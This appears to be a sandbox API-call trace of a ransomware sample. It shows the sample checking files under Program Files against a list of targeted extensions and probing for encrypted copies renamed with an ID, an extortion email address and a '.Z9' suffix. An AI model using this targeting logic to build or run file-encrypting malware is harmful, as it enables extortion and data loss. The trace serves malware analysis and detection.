	[0073.603] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0073.603] lstrlenW (lpString=".ppt") returned 4
	[0073.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.603] lstrlenW (lpString=".zip") returned 4
	[0073.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.603] lstrlenW (lpString=".rar") returned 4
	[0073.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.603] lstrlenW (lpString=".bz2") returned 4
	[0073.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.603] lstrlenW (lpString=".7z") returned 3
	[0073.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.604] lstrlenW (lpString=".dbf") returned 4
	[0073.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.604] lstrlenW (lpString=".1cd") returned 4
	[0073.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.604] lstrlenW (lpString=".jpg") returned 4
	[0073.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.604] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.604] lstrlenW (lpString="ipskor.xml") returned 10
	[0073.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.964] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2568) returned 1
	[0073.964] CloseHandle (hObject=0x370) returned 1
	[0073.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20
	[0073.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0073.965] lstrlenW (lpString=".doc") returned 4
	[0073.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.965] lstrlenW (lpString=".docx") returned 5
	[0073.965] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0073.965] lstrlenW (lpString=".pdf") returned 4
	[0073.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.965] lstrlenW (lpString=".xls") returned 4
	[0073.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.965] lstrlenW (lpString=".xlsx") returned 5
	[0073.965] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0073.965] lstrlenW (lpString=".ppt") returned 4
	[0073.967] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0073.967] lstrlenW (lpString=".zip") returned 4
	[0073.967] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.967] lstrlenW (lpString=".rar") returned 4
	[0073.967] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.967] lstrlenW (lpString=".bz2") returned 4
	[0073.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.967] lstrlenW (lpString=".7z") returned 3
	[0073.967] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0073.969] lstrlenW (lpString=".dbf") returned 4
	[0073.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.007] lstrlenW (lpString=".1cd") returned 4
	[0074.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.012] lstrlenW (lpString=".jpg") returned 4
	[0074.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.012] lstrlenW (lpString=".doc") returned 4
	[0074.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString=".docx") returned 5
	[0074.012] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0074.012] lstrlenW (lpString=".pdf") returned 4
	[0074.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString=".xls") returned 4
	[0074.012] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString=".xlsx") returned 5
	[0074.012] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0074.012] lstrlenW (lpString=".ppt") returned 4
	[0074.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.012] lstrlenW (lpString=".zip") returned 4
	[0074.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.013] lstrlenW (lpString=".rar") returned 4
	[0074.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".bz2") returned 4
	[0074.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".7z") returned 3
	[0074.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.013] lstrlenW (lpString=".dbf") returned 4
	[0074.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.013] lstrlenW (lpString=".1cd") returned 4
	[0074.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml") returned 61
	[0074.014] lstrlenW (lpString=".jpg") returned 4
	[0074.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.014] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0074.014] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0074.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.018] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6406) returned 1
	[0074.018] CloseHandle (hObject=0x370) returned 1
	[0074.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0074.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".doc") returned 4
	[0074.019] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.019] lstrlenW (lpString=".docx") returned 5
	[0074.019] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.019] lstrlenW (lpString=".pdf") returned 4
	[0074.019] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.019] lstrlenW (lpString=".xls") returned 4
	[0074.019] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.019] lstrlenW (lpString=".xlsx") returned 5
	[0074.019] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.019] lstrlenW (lpString=".ppt") returned 4
	[0074.019] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".zip") returned 4
	[0074.019] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.019] lstrlenW (lpString=".rar") returned 4
	[0074.019] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.019] lstrlenW (lpString=".bz2") returned 4
	[0074.019] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.019] lstrlenW (lpString=".7z") returned 3
	[0074.019] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".dbf") returned 4
	[0074.019] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".1cd") returned 4
	[0074.019] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".jpg") returned 4
	[0074.019] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.019] lstrlenW (lpString=".doc") returned 4
	[0074.019] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.020] lstrlenW (lpString=".docx") returned 5
	[0074.020] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.020] lstrlenW (lpString=".pdf") returned 4
	[0074.020] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.020] lstrlenW (lpString=".xls") returned 4
	[0074.020] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.020] lstrlenW (lpString=".xlsx") returned 5
	[0074.020] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.020] lstrlenW (lpString=".ppt") returned 4
	[0074.020] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.020] lstrlenW (lpString=".zip") returned 4
	[0074.020] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.020] lstrlenW (lpString=".rar") returned 4
	[0074.020] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.020] lstrlenW (lpString=".bz2") returned 4
	[0074.020] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.020] lstrlenW (lpString=".7z") returned 3
	[0074.020] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.020] lstrlenW (lpString=".dbf") returned 4
	[0074.020] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.020] lstrlenW (lpString=".1cd") returned 4
	[0074.020] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0074.020] lstrlenW (lpString=".jpg") returned 4
	[0074.020] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.020] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0074.020] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0074.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.021] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=235) returned 1
	[0074.021] CloseHandle (hObject=0x370) returned 1
	[0074.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20
	[0074.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString=".doc") returned 4
	[0074.022] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.022] lstrlenW (lpString=".docx") returned 5
	[0074.022] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.022] lstrlenW (lpString=".pdf") returned 4
	[0074.022] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.022] lstrlenW (lpString=".xls") returned 4
	[0074.022] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.022] lstrlenW (lpString=".xlsx") returned 5
	[0074.022] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.022] lstrlenW (lpString=".ppt") returned 4
	[0074.022] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString=".zip") returned 4
	[0074.022] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.022] lstrlenW (lpString=".rar") returned 4
	[0074.022] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.022] lstrlenW (lpString=".bz2") returned 4
	[0074.022] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.022] lstrlenW (lpString=".7z") returned 3
	[0074.022] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString=".dbf") returned 4
	[0074.022] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString=".1cd") returned 4
	[0074.022] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.022] lstrlenW (lpString=".jpg") returned 4
	[0074.022] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString=".doc") returned 4
	[0074.023] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.023] lstrlenW (lpString=".docx") returned 5
	[0074.023] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.023] lstrlenW (lpString=".pdf") returned 4
	[0074.023] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString=".xls") returned 4
	[0074.023] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString=".xlsx") returned 5
	[0074.023] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.023] lstrlenW (lpString=".ppt") returned 4
	[0074.023] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString=".zip") returned 4
	[0074.023] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString=".rar") returned 4
	[0074.023] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.023] lstrlenW (lpString=".bz2") returned 4
	[0074.023] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.023] lstrlenW (lpString=".7z") returned 3
	[0074.023] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString=".dbf") returned 4
	[0074.023] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString=".1cd") returned 4
	[0074.023] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0074.023] lstrlenW (lpString=".jpg") returned 4
	[0074.023] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.024] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0074.024] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0074.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.025] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4222) returned 1
	[0074.025] CloseHandle (hObject=0x370) returned 1
	[0074.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0074.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.025] lstrlenW (lpString=".doc") returned 4
	[0074.025] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.025] lstrlenW (lpString=".docx") returned 5
	[0074.025] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.025] lstrlenW (lpString=".pdf") returned 4
	[0074.025] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.025] lstrlenW (lpString=".xls") returned 4
	[0074.025] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.025] lstrlenW (lpString=".xlsx") returned 5
	[0074.025] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.025] lstrlenW (lpString=".ppt") returned 4
	[0074.025] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.025] lstrlenW (lpString=".zip") returned 4
	[0074.025] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.025] lstrlenW (lpString=".rar") returned 4
	[0074.025] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString=".bz2") returned 4
	[0074.026] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.026] lstrlenW (lpString=".7z") returned 3
	[0074.026] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString=".dbf") returned 4
	[0074.026] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString=".1cd") returned 4
	[0074.026] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString=".jpg") returned 4
	[0074.026] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString=".doc") returned 4
	[0074.026] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.026] lstrlenW (lpString=".docx") returned 5
	[0074.026] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0074.026] lstrlenW (lpString=".pdf") returned 4
	[0074.026] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString=".xls") returned 4
	[0074.026] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString=".xlsx") returned 5
	[0074.026] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0074.026] lstrlenW (lpString=".ppt") returned 4
	[0074.026] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.026] lstrlenW (lpString=".zip") returned 4
	[0074.026] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString=".rar") returned 4
	[0074.026] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.026] lstrlenW (lpString=".bz2") returned 4
	[0074.026] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.026] lstrlenW (lpString=".7z") returned 3
	[0074.026] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.027] lstrlenW (lpString=".dbf") returned 4
	[0074.027] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.027] lstrlenW (lpString=".1cd") returned 4
	[0074.027] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0074.027] lstrlenW (lpString=".jpg") returned 4
	[0074.027] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.027] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0074.027] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0074.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.028] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=237) returned 1
	[0074.028] CloseHandle (hObject=0x370) returned 1
	[0074.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20
	[0074.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
